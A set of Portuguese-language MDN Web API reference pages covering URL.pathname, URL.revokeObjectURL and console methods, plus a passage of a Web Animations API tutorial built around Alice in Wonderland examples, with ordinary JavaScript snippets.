{"title":"URL.pathname - APIs da Web","text":"URL.pathname\n============\n\nA propriedade **`pathname`** da interface `URL` é uma `USVString` (en-US) qeu contém uma inicial `'/'` seguido pelo caminho da URL não incluindo a query string ou fragmento (ou a string vazia se não houver caminho).\n\nO caminho da URL é uma sequência de segmentos delimitada por `/`, que pode ser um de `.`, `..` ou uma string com zero ou mais caracteres excluindo `/`, `?` e `#` .\n\nAlguns sistemas definem o termo *slug* para significar o segmento final de um caminho não vazio se ele identificar uma página em palavras-chave legíveis. Por exemplo, o URL `https://example.org/articles/this-that-other-outre-collection` tem `this-that-other-outre-collection` como seu slug.\n\nAlguns sistemas usam os caracteres `;` e `=` para delimitar parâmetros e valores de parâmetros aplicáveis a um segmento de caminho. Por exemplo, com a URL `https://example.org/users;id=42/tasks;state=open?sort=modified`, um sistema pode extrair e usar os parâmetros de segmento de caminho `id=42` e `state=open` dos segmentos de caminho `users;id=42` e `tasks;state=open`.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/pathname?q=value\",\n);\nconsole.log(url.pathname); // Logs \"/pt-BR/docs/Web/API/URL/pathname\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-pathname |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.revokeObjectURL() - APIs da Web","text":"URL.revokeObjectURL()\n=====================\n\nO método estático **`URL.revokeObjectURL()`** anula uma URL que anteriormente foi criada pelo método `URL.createObjectURL()`.\n\nExecute este método quando terminar de utilizar um objeto URL para informar o browser que não preicsa mais manter uma referência deste arquivo.\n\n**Note:** This feature is available in Web Workers\n\n\n Este método não esta disponível em service workers, devido a\n questões com cliclo de vida da interface `Blob` e potenciais vazamentos.\n\n\nSintaxe\n-------\n\n\n```js\nURL.revokeObjectURL(objectURL);\n```\n\n### Parâmetros\n\n`objectURL`\n\nUma `DOMString` representando o objeto URL que anteriormente foi criado com `createObjectURL()`.\n\nExemplos\n--------\n\nVeja Usando o objeto URL para exibir imagens (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # dfn-revokeObjectURL |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando arquivo de uma aplicação web (en-US)\n* Usando objetos Url para exibir imagens (en-US)\n* `URL.createObjectURL()`"}
{"title":"Console.assert() - APIs da Web","text":"Console.assert()\n================\n\nEscreve uma mensagem de erro para o console se a afirmação é falsa. Se a firmação é verdadeira, nada acontece.\n\n**Note:** This feature is available in Web Workers\n\n\n**Nota:** *O método `console.assert()` é implementado de forma diferente em Node.js.*\n Especificamente, em navegadores, chamando o método console.assert() com uma afirmação falsa fará com que a mensagem a ser impressa para o console não interrompa a execução do código subsequente. Em Node.js, no entanto, uma afirmação falsa causará um *AssertionError.*\n\nSintaxe\n-------\n```\n\nconsole.assert(afirmação, obj1 [, obj2, ..., objN]);\nconsole.assert(afirmação, msg [, subst1, ..., substN]); // c-mensagem de formatação\n```\n\n### Parâmetros\n\n`afirmação`\n\nQualquer expressão booleana. Se a afirmação é falsa, a mensagem é impressa no console.\n\n`obj1` ... `objN`\n\nUma lista de objetos JavaScript para escrever. As representações de strings de cada um desses objetos são acrescentados juntos na ordem dada e saída.\n\n`msg`\n\nUma String que contém zero ou mais seguências de substituição.\n\n`subst1` ... `substN`\n\nObjetos JavaScript com qual as strings de substituição `msg` serão substituidas. Isto dá um contriole adicional sobre a mensagem que será escrita.\n\nVer Outputting text to the console na documentação do `console` para mais detalhes.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Console Standard # assert |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* WHATWG Console Standard: console.assert\n* Opera Dragonfly documentation: Console\n* MSDN: Using the F12 Tools Console to View Errors and Status\n* Chrome Developer Tools: Using the Console"}
{"title":"Console.error() - APIs da Web","text":"Console.error()\n===============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\n'*Escreve*' uma mensagem de erro no Web Console.\n\n**Note:** This feature is available in Web Workers\n\nSintaxe\n-------\n```\n\nconsole.error(obj1 [, obj2, ..., objN]);\nconsole.error(msg [, subst1, ..., substN]);\nconsole.exception(obj1 [, obj2, ..., objN]);\nconsole.exception(msg [, subst1, ..., substN]);\n```\n\n\n**Nota:** `console.exception()` é um alias para `console.error()`; as funcionalidades deles são identicas.\n\n### Parâmetros\n\n`obj1` ... `objN`\n\nUma lista de objetos Javascript para serem escritos. As representações String de cada um destes objetos é ligada junto na ordem listada e escrita.\n\n`msg`\n\nUma String Javascript contendo zero ou mais Strings de substituição.\n\n`subst1` ... `substN`\n\nObjetos JavaScript o qual substituirão as Strings no `msg`. Este parâmetro fornece controle adicional sobre o formato de output.\n\nVeja Outputting text to the console na documentação de `console` para mais detalhes.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Console Standard # error |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Opera Dragonfly documentation: Console\n* MSDN: Using the F12 Tools Console to View Errors and Status\n* Chrome Developer Tools: Using the Console"}
{"title":"Console.table() - APIs da Web","text":"Console.table()\n===============\n\nExibe dados tabulares como uma tabela.\n\nEssa função recebe um parâmetro obrigatório `data`, que deve ser um array ou um objeto, e um parametro opcional `columns`.\n\nRegistra `data` como uma tabela. Cada elemento no array (ou propriedade enumerável se `data` for um objeto) será uma linha na tabela.\n\nA primeira coluna na tabela será rotulada `(index)`. Se `data` for um array, seus valores serão os índices da matriz. Se `data` for um objeto, seus valores serão os nomes das propriedades. Observe que (no Firefox) o `console.table` está limitado a exibir 1000 linhas (a primeira linha é o índice rotulado).\n\n**Note:** This feature is available in Web Workers\n\n### Coleções de tipos primitivos\n\nO argumento `data` pode ser um array ou um objeto.\n\n\n```js\n// um array de strings\n\nconsole.table([\"apples\", \"oranges\", \"bananas\"]);\n```\n\n\n![](/pt-BR/docs/Web/API/console/table_static/console-table-array.png)\n\n\n```js\n// um objeto cujas propriedades são strings\n\nfunction Person(firstName, lastName) {\n  this.firstName = firstName;\n  this.lastName = lastName;\n}\n\nvar me = new Person(\"John\", \"Smith\");\n\nconsole.table(me);\n```\n\n\n![](/pt-BR/docs/Web/API/console/table_static/console-table-simple-object.png)\n\n### Coleções de tipos compostos\n\nSe os elementos no array, ou propriedades no objeto, forem arrays ou objetos, seus elementos ou propriedades serão enumerados na linha, um por coluna:\n\n\n```js\n// um array de arrays\n\nvar people = [\n  [\"John\", \"Smith\"],\n  [\"Jane\", \"Doe\"],\n  [\"Emily\", \"Jones\"],\n];\nconsole.table(people);\n```\n\n\n![Table displaying array of arrays](/pt-BR/docs/Web/API/console/table_static/console-table-array-of-array.png)\n\n\n```js\n// um array de objetos\n\nfunction Person(firstName, lastName) {\n  this.firstName = firstName;\n  this.lastName = lastName;\n}\n\nvar john = new Person(\"John\", \"Smith\");\nvar jane = new Person(\"Jane\", \"Doe\");\nvar emily = new Person(\"Emily\", \"Jones\");\n\nconsole.table([john, jane, emily]);\n```\n\n\nObserve que, se a matriz contiver objetos, as colunas serão rotuladas com o nome da propriedade.\n\n![Table displaying array of objects](/pt-BR/docs/Web/API/console/table_static/console-table-array-of-objects.png)\n\n\n```js\n// um objeto cujas propriedades são objetos\n\nvar family = {};\n\nfamily.mother = new Person(\"Jane\", \"Smith\");\nfamily.father = new Person(\"John\", \"Smith\");\nfamily.daughter = new Person(\"Emily\", \"Smith\");\n\nconsole.table(family);\n```\n\n\n![Table displaying object of objects](/pt-BR/docs/Web/API/console/table_static/console-table-object-of-objects.png)\n\n### Restringindo as colunas exibidas\n\nPor padrão, `console.table()` lista todos os elementos em cada linha. Você pode usar o parâmetro opcional `columns` para selecionar um subconjunto de colunas a serem exibidas:\n\n\n```js\n// um array de objetos, registrando apenas firstName\n\nfunction Person(firstName, lastName) {\n  this.firstName = firstName;\n  this.lastName = lastName;\n}\n\nvar john = new Person(\"John\", \"Smith\");\nvar jane = new Person(\"Jane\", \"Doe\");\nvar emily = new Person(\"Emily\", \"Jones\");\n\nconsole.table([john, jane, emily], [\"firstName\"]);\n```\n\n\n![Table displaying array of objects with filtered output](/pt-BR/docs/Web/API/console/table_static/console-table-array-of-objects-firstname-only.png)\n\n### Classificando colunas\n\nVocê pode classificar a tabela por uma coluna específica clicando no rótulo dessa coluna.\n\nSintaxe\n-------\n```\n\nconsole.table(data [, columns]);\n```\n\n### Parâmetros\n\n`data`\n\nOs dados a serem exibidos. Deve ser um array ou um objeto.\n\n`columns`\n\nUm array contendo os nomes das colunas para incluir na saída.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Console Standard # table |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Console.count() - APIs da Web","text":"Console.count()\n===============\n\nExibe o número de vezes em que a chamada `count()` em particular foi invocada. Essa função recebe um argumento opcional `label`.\n\n**Note:** This feature is available in Web Workers\n\nSe `label` é fornecido, essa função exibe o número de vezes que a função `count()` foi chamada com a respectiva label.\n\nSe `label` for omitido, a função exibe o número de vezes que a função `count()` foi chamada na respectiva linha.\n\nPor exemplo, no código abaixo:\n\n\n```js\nvar usuario = \"\";\n\nfunction cumprimentar() {\n  console.count();\n  return \"olá \" + usuario;\n}\n\nusario = \"bob\";\ncumprimentar();\nusario = \"alice\";\ncumprimentar();\ncumprimentar();\nconsole.count();\n```\n\n\nA saída do console será algo como:\n```\n\n\"<no label>: 1\"\n\"<no label>: 2\"\n\"<no label>: 3\"\n\"<no label>: 1\"\n```\n\n\nNote a última linha da saída do console: a chamada individual de `count()` na linha 11 é tratada como um evento independente.\n\nSe passarmos a variável `usuario` como o argumento `label` para a primeira invocação de `count()`, e a string \"alice\" para a segunda:\n\n\n```js\nvar usuario = \"\";\n\nfunction cumprimentar() {\n  console.count(usuario);\n  return \"olá \" + usuario;\n}\n\nusuario = \"bob\";\ncumprimentar();\nusuario = \"alice\";\ncumprimentar();\ncumprimentar();\nconsole.count(\"alice\");\n```\n\n\nTeremos uma saída assim:\n```\n\n\"bob: 1\"\n\"alice: 1\"\n\"alice: 2\"\n\"alice: 3\"\n```\n\n\nAgora estamos mantendo contagens separadamente baseadas no valor de `label`. Como a label \"alice\" na linha 11 corresponde ao valor de `usuario` duas vezes, não é considerado um evento independente.\n\nSintaxe\n-------\n```\n\nconsole.count([label]);\n```\n\nParâmetros\n----------\n\n`label`\n\nUma string. Se for fornecida, exibe o número de vezes que `count()` foi invocada com a mesma label.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Console Standard # count |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Console.timeEnd() - APIs da Web","text":"Console.timeEnd()\n=================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nResumo\n------\n\nInterrompe um temporizador que foi anteriormente iniciado por uma chamada a `console.time()`.\n\nVeja Timers (en-US) na documentação de `console` para detalhes e exemplos.\n\nSintaxe\n-------\n```\n\nconsole.timeEnd(label);\n```\n\n### Parametros\n\n`label`\n\nO nome do temporizador a ser interrompido. Uma vez interrompido, o tempo decorrido é automaticamente apresentado no Web Console.\n\nEspecificação\n-------------\n\nNão é parte de qualquer especificação.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Console.time`\n* Opera Dragonfly documentation: Console"}
{"title":"Console.log() - APIs da Web","text":"Console.log()\n=============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nSumário\n-------\n\nExibe uma mensagem na console do navegador.\n\nSyntax\n------\n```\n\nconsole.log(obj1[, obj2, ..., objN]);\nconsole.log(msg[, subst1, ..., substN]);\n```\n\nParameters\n----------\n\n`obj1` ... `objN`\n\nUma lista de objetos JavaScript para exibir. A representação por escrito de cada um desses objetos é exibida na ordem com a qual foram inseridos na função.\n\n`msg`\n\nUma string JavaScript com zero ou mais substituições.\n\n`subst1` ... `substN`\n\nStrings ou objetos JavaScript para substituirem as marcações de substituição em `msg`. Estas substituições ocorrem de um para um e na ordem em que são passadas para a console.log.\n\nVeja Exibindo texto na console (en-US) na documentação do objeto `console` para mais detalhes.\n\nEspecificação\n-------------\n\nNão faz parte de nenhuma especificação.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Opera Dragonfly documentation: Console\n* MSDN: Using the F12 Tools Console to View Errors and Status\n* Firebug wiki: Console API - Firebug supports additional features in its console.log() implementation, such as styled logging.\n* NodeJS: Console API"}
{"title":"Console.timeStamp() - APIs da Web","text":"Console.timeStamp()\n===================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nSumário\n-------\n\nAdiciona um marcador simples para as ferramentas Timeline ou Waterfall (en-US) do navegador. Ele deixa você relacionar um ponto no seu código com os outros eventos gravados na linha do tempo, como um evento de layout ou de pintura.\n\nOpcionalmente, você pode fornecer um argumento como rótulo do carimbo de hora, e esse rótulo será então mostrado juntamente com a marcação.\n\n**Nota:** essa funcionalidade está disponível em Web Workers.\n\nSintaxe\n-------\n```\n\nconsole.timeStamp(rotulo);\n```\n\nParâmetros\n----------\n\n`rotulo`\n\nRótulo para o carimbo de hora. Opcional.\n\nEspecificação\n-------------\n\nAPI do objeto Console\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Console.time()`\n* `Console.timeEnd()`\n* Adding timestamps to the Waterfall (en-US)"}
{"title":"Console.dir() - APIs da Web","text":"Console.dir()\n=============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nResumo\n------\n\nExibe uma lista interativa das propriedades do objeto JavaScript especificado. A saída é apresentada como uma lista hierárquica com triângulos que permitem ver o conteúdo de objetos-filho.\n\n**Note:** This feature is available in Web Workers\n\n![console-dir.png](/pt-BR/docs/Web/API/console/dir_static/console-dir.png)\n\nSintaxe\n-------\n```\n\nconsole.dir(object);\n```\n\nParâmetros\n----------\n\n`object`\n\nUm objeto JavaScript cujas propriedades devem ser emitidas.\n\n### Especificação\n\nConsole Object API\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Documentação Opera Dragonfly: Console\n* MSDN: usando o F12 Ferramentas de Console para exibir erros e status"}
{"title":"console.clear() - APIs da Web","text":"console.clear()\n===============\n\nO método **`console.clear()`** limpa o console, se o ambiente permitir.\n\nSintaxe\n-------\n```\n\nconsole.clear();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Console Standard # clear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Console.info() - APIs da Web","text":"Console.info()\n==============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nApresenta uma mensagem de saída no console do navegador . No Firefox e Chrome , um pequeno ícone \"i\" e apresentado próximo aos items do log do console .\n\n**Note:** This feature is available in Web Workers\n\nSintaxe\n-------\n```\n\nconsole.info(obj1 [, obj2, ..., objN]);\nconsole.info(msg [, subst1, ..., substN]);\n```\n\nParâmetros\n----------\n\n`obj1` ... `objN`\n\n`A lista de objetos javascript para saída . As representações de strings de cada um desses objetos são anexados juntos em ordem de listagem e saida .`\n\n`msg`\n\n`Uma string javascript que contém zero ou mais strings para substituição.`\n\n`subst1` ... `substN`\n\n`Objeto javascript o qual substitui strings com msg. Isso permite controle adicional sobre o formato da saída.`\n\nVeja Outputting text to the console na documentação `console` para mais detalhes.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Console Standard # info |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Opera Dragonfly documentation: Console\n* MSDN: Using the F12 Tools Console to View Errors and Status"}
{"title":"Console.warn() - APIs da Web","text":"Console.warn()\n==============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nEscreve uma mensagem de alerta no Console Web.\n\n**Note:** This feature is available in Web Workers\n\n**Nota:** No Firefox, warnings têm um pequeno icone de ponto de exclamação perto deles no log do Console Web.\n\nSintaxe\n-------\n```\n\nconsole.warn(obj1 [, obj2, ..., objN]);\nconsole.warn(msg [, subst1, ..., substN]);\n```\n\nParâmetros\n----------\n\n`obj1` ... `objN`\n\nUma lista de objetos JavaScript para escrever. A representação String de cada um destes objetos é ligada junto na ordem listada e escrita.\n\n`msg`\n\nUma string JavaScript contendo zero ou mais strings de substituição.\n\n`subst1` ... `substN`\n\nObjetos JavaScript com qual as strings de substituição `msg` serão substituidas. Isto dá um contriole adicional sobre a mensagem que será escrita.\n\nVer Outputting text to the console na documentação do `console` para mais detalhes.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Console Standard # warn |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Opera Dragonfly documentation: Console\n* MSDN: Using the F12 Tools Console to View Errors and Status"}
{"title":"Console.time() - APIs da Web","text":"Console.time()\n==============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nSumário\n-------\n\nInicia um cronômetro que você pode usar para monitorar quanto tempo uma operação leva. Você dá para cada cronômetro um nome único, e deve ter no máximo 10.000 deles sendo executados na página. Quando você chama `console.timeEnd()` com o mesmo nome, o navegador mostrará o tempo, em milisegundos, que se passou desde que o cronômetro iniciou.\n\nVeja Timers na documentação `console` para detalhes e exemplos.\n\n**Note:** This feature is available in Web Workers\n\nSintaxe\n-------\n```\n\nconsole.time(label);\n```\n\nParâmetros\n----------\n\n`label`\n\nO nome para dar ao novo cronômetro. Ele identificará o cronômetro; use o mesmo quando chamar `console.timeEnd()` para parar o cronômetro e obter o tempo na saída do console.\n\nEspecificação\n-------------\n\nAPI do objeto Console\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Console.timeEnd()`\n* Opera Dragonfly documentation: Console"}
{"title":"Usando a Web Animations API - APIs da Web","text":"Usando a Web Animations API\n===========================\n\nA Web Animations API nos possibilita criar animações e controlar sua reprodução pelo JavaScript. Esse artigo vai te demonstrar esses conceitos com demonstrações e tutoriais com o temática de Alice no País das Maravilhas.\n\nConhecendo a Web Animations API\n-------------------------------\n\nA Web Animations API (en-US) abre a engine de animação do browser para os desenvolvedores manipularem via JavaScript. Esta API foi construída para se basear nas implementações das Animações CSS (en-US) e Transições CSS (en-US), e deixam a porta aberta para futuros efeitos de animação. É um dos métodos mais performáticos para se animar na Web, permitindo que o browser faça internamente suas próprias otimizações, sem precisar depender de hacks, coerções ou `Window.requestAnimationFrame()`.\n\nCom a Web Animations API, podemos transferir as animações interativas das folhas de estilo para o JavaScript, separando comportamento de apresentação. Não vamos precisar mais depender de técnicas muito dependentes do DOM como propriedades do CSS e escopo de classes para controlar a direção da reprodução. E diferente de CSS puro e declarativo, JavaScript também te possibilita definir dinâmicamente valores: de propriedades à duração. Para criar bibilotecas de animação à criar animações interativas, a Web Animations API pode ser a ferramenta perfeita para o trabalho. Vamos ver o que ela pode fazer!\n\nSuporte de Navegadores\n----------------------\n\nO suporte básico para as funcionalidades da Web Animations API discutidas neste artigo estão disponíveis no Firefox 48+, Chrome 36+ e Safari 13.1+. Também existe um polyfill prático que verifica o suporte e adiciona as funcionalidades onde for necessário.\n\nEscrevendo Animações CSS com a Web Animations API\n-------------------------------------------------\n\nUma das maneiras mais familiares de abordar a Web Animations API é começar com algo que boa parte dos desenvolvedores web já utilizaram antes: Animações CSS. Animações CSS tem uma sintaxe familiar que funciona bem para nossa demonstração.\n\n### A versão CSS\n\nAqui temos uma animação escrita com CSS mostrando Alice caindo no buraco de coelho que leva ao País das Maravilhas (veja o código completo no Codepen):\n\n![Alice Tumbling down the rabbit's hole.](/pt-BR/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API/tumbling-alice_optimized.gif)\n\nPerceba que o fundo se mexe, a Alice gira e sua cor muda em sincronia com o giro. Nós vamos focar somente na Alice para este tutorial. Segue a versão simplificada do CSS que controla a animação da Alice:\n\n\n```css\n#alice {\n  animation: aliceTumbling infinite 3s linear;\n}\n\n@keyframes aliceTumbling {\n  0% {\n    color: #000;\n    transform: rotate(0) translate3D(-50%, -50%, 0);\n  }\n  30% {\n    color: #431236;\n  }\n  100% {\n    color: #000;\n    transform: rotate(360deg) translate3D(-50%, -50%, 0);\n  }\n}\n```\n\n\nIsso muda a cor da Alice e a rotação do `transform` por 3 segundos em um ritmo constante (linear) e se repete infinitamente. No bloco do @keyframes (en-US) podemos ver que em 30% de cada repetição (por volta dos 900ms), a cor da Alice muda de preto para um vinho, e volta para o preto no final do loop.\n\n### Mudando para o JavaScript\n\nAgora vamos tentar criar a mesma animação usando a Web Animations API.\n\n#### Representando keyframes\n\nA primeira coisa que precisamos fazer é criar um Objeto Keyframe (en-US) correspondente ao nosso bloco @keyframes (en-US) do CSS:\n\n\n```js\nvar aliceTumbling = [\n  { transform: \"rotate(0) translate3D(-50%, -50%, 0)\", color: \"#000\" },\n  { color: \"#431236\", offset: 0.3 },\n  { transform: \"rotate(360deg) translate3D(-50%, -50%, 0)\", color: \"#000\" },\n];\n```\n\n\nAqui estávamos utilizando uma array contendo múltiplos objetos. Cada objeto representa uma chave do CSS original. Contudo, diferente do CSS, a Web Animations API não precisa informar explicitamente as porcentagens temporais para cada chave, o JS automaticamente divide a animação em partes iguais baseado no número de chaves que você forneceu. Isso significa que um objeto Keyframe com três chaves vai reproduzir a chave do meio em 50% do tempo de cada loop, exceto se for definido o contrário.\n\nQuando queremos explicitamente definir um timing diferente para essas outras chaves, podemos especificar um offset diretamente no objeto, separado do resto da declaração por uma vírgula. No exemplo acima, para definir que a cor da Alice muda em 30% do tempo (e não 50%), nós definiremos como `offset: 0.3`.\n\nAtualmente, devem ser definidos pelo menos dois keyframes (representando o início e fim de estado das sequências de animação). Se a sua lista de keyframes somente tem uma entrada, `Element.animate()` pode disparar uma exceção `NotSupportedErro` em alguns browsers até eles serem atualizados.\n\nEntão recapitulando: as chaves são espaçadas igualmente por padrão, exceto se você definir um offset para uma chave. Útil, não?\n\n#### Representando propriedades temporais\n\nNós precisamos criar também um objeto de propriedades temporais (um objeto `AnimationEffectTimingProperties` (en-US)) correspondente aos valores da animação da Alice:\n\n\n```js\nvar aliceTiming = {\n  duration: 3000,\n  iterations: Infinity,\n};\n```\n\n\nVocê pode notar algumas diferenças aqui comparando com os valores equivalentes representados no CSS:\n\n* A propriedade `duration` está em milisegundos (`3000`, não `3s`). Assim como `WindowTimers.setTimeout()` (en-US) e `Window.requestAnimationFrame()`, a Web Animations API somente aceita millisegundos.\n* A outra diferença é o uso de `iterations` no lugar de `iteration-count`.\n\n**Nota:** Existem algumas pequenas diferenças de terminologia entre o CSS Animations e o Web Animations. Por exemplo, Web Animations não usa a string `\"infinite\"`, e sim a keyword JavaScript `Infinity`. E no lugar de `timing-function`, usamos `easing`. Não estamos citando um valor de `easing` aqui pois, diferente das Animações CSS onde o valor padrão do animation-timing-function (en-US) é `ease`, na Web Animations API o padrão é `linear` — o que nós já queremos para a animação da Alice.\n\n#### Juntando as peças\n\nAgora vamos juntar o que já fizemos com o método `Element.animate()`:\n\n\n```js\ndocument.getElementById(\"alice\").animate(aliceTumbling, aliceTiming);\n```\n\n\nE pronto: a animação começa a tocar (veja a versão final no Codepen).\n\nO método `animate()` pode ser chamado em qualquer elemento do DOM que pode ser animado com CSS. E pode ser escrito de algumas maneiras. Ao invés de criar objetos para os keyframes e propriedades temporais, podemos passar seus valores diretamentes, tipo:\n\n\n```js\ndocument.getElementById(\"alice\").animate(\n  [\n    { transform: \"rotate(0) translate3D(-50%, -50%, 0)\", color: \"#000\" },\n    { color: \"#431236\", offset: 0.3 },\n    { transform: \"rotate(360deg) translate3D(-50%, -50%, 0)\", color: \"#000\" },\n  ],\n  {\n    duration: 3000,\n    iterations: Infinity,\n  },\n);\n```\n\n\nE se nós precisarmos somente especificar a duração da animação e não suas iterações (por padrão, a animação roda uma ), podemos passar só os milisegundos após o array:\n\n\n```js\ndocument.getElementById(\"alice\").animate(\n  [\n    { transform: \"rotate(0) translate3D(-50%, -50%, 0)\", color: \"#000\" },\n    { color: \"#431236\", offset: 0.3 },\n    { transform: \"rotate(360deg) translate3D(-50%, -50%, 0)\", color: \"#000\" },\n  ],\n  3000,\n);\n```\n\nControlando a reprodução com play(), pause(), reverse() e updatePlaybackRate()\n------------------------------------------------------------------------------\n\nPor mais que possamos escrever Animações CSS utilizando a Web Animations API, a API realmente mostra seu potencial quando precisamos manipular a reprodução da animação. A Web Animations API fornece vários métodos úteis para controlar a reprodução. Vamos dar uma olhada em como pausar e tocar animações no jogo da Alice Crescendo/Encolhendo (confira o código completo no Codepen):\n\n![Playing the growing and shrinking game with Alice.](/pt-BR/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API/growing-shrinking_article_optimized.gif)\n\nNesse jogo, Alice tem uma animação que a encolhe ou aumenta seu tamanho, que controlamos por uma garrafa e um cupcake. Cada um tem sua própria animação.\n\n### Pausando e tocando animações\n\nVamos falar sobre a animação da Alice depois, mas por enquanto, vamos dissecar esta animação do cupcake.\n\n\n```js\nvar nommingCake = document\n  .getElementById(\"eat-me\\_sprite\")\n  .animate(\n    [{ transform: \"translateY(0)\" }, { transform: \"translateY(-80%)\" }],\n    {\n      fill: \"forwards\",\n      easing: \"steps(4, end)\",\n      duration: aliceChange.effect.timing.duration / 2,\n    },\n  );\n```\n\n\nO método `Element.animate()` vai rodar imediatamente depois de ser chamado. Para evitar que o bolinho se coma sozinho antes da interação do usuário, chamamos o `Animation.pause()` (en-US) imediatamente depois de criar a animação:\n\n\n```js\nnommingCake.pause();\n```\n\n\nAgora nós podemos usar o método `Animation.play()` (en-US) para rodar assim que for o momento:\n\n\n```js\nnommingCake.play();\n```\n\n\nEspecificamente, nós queremos linka-lo à animação da Alice, para ela crescer assim que o cupcake é mordido. Podemos fazer isso com a seguinte função:\n\n\n```js\nvar growAlice = function () {\n  // Play Alice's animation.\n  aliceChange.play();\n\n  // Play the cake's animation.\n  nommingCake.play();\n};\n```\n\n\nQuando o usuário clicar ou pressionar seu dedo no bolinho em uma tela de toque, podemos chamar a função `growAlice` para fazer todas as animações tocarem:\n\n\n```js\ncake.addEventListener(\"mousedown\", growAlice, false);\ncake.addEventListener(\"touchstart\", growAlice, false);\n```\n\n### Outros métodos úteis\n\n* `Animation.finish()` (en-US) pula para o final da animação.\n* `Animation.cancel()` aborta a animação e cancela seus efeitos.\n* `Animation.reverse()` (en-US) define o (`Animation.playbackRate` (en-US)) para um valor negativo, então roda ao contrário\n\nVamos dar uma olhada primeiro no método `playbackRate` — um valor negativo vai fazer a animação tocar ao contrário. Quando Alice bebe da garrafa, ela encolhe. Isso porque a garrafa muda o `playbackRate` da animação de 1 para -1:\n\n\n```js\nvar shrinkAlice = function () {\n  aliceChange.playbackRate = -1;\n  aliceChange.play();\n};\n\nbottle.addEventListener(\"mousedown\", shrinkAlice, false);\nbottle.addEventListener(\"touchstart\", shrinkAlice, false);\n```\n\n\nEm Alice Através do Espelho, Alice viaja para um mundo onde ela deve correr para se manter no lugar — e correr com o dobro de velocidade para avançar! No exemplo da Corrida da Rainha Vermelha, Alice e a Rainha Vermelha estão correndo para se manter no lugar (veja o código completo no Codepen):\n\n![Alice and the Red Queen race to get to the next square in this game.](/pt-BR/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API/red-queen-race_optimized.gif)\n\nJá que crianças pequenas se cansam facilmente, diferente de peças de xadrez autônomas, Alice está constantemente desacelerando. Nós podemos fazer isso definindo uma queda no `playbackRate` da animação dela. Usamos o `updatePlaybackRate()` no lugar de definir manualmente o playbackRate, já que isso produz uma atualização mais suave:\n\n\n```js\nsetInterval(function () {\n  // Make sure the playback rate never falls below .4\n  if (redQueen_alice.playbackRate > 0.4) {\n    redQueen_alice.updatePlaybackRate(redQueen_alice.playbackRate \\* 0.9);\n  }\n}, 3000);\n```\n\n\nMas impulsioná-las clicando ou tocando na tela aumenta a velocidade delas por 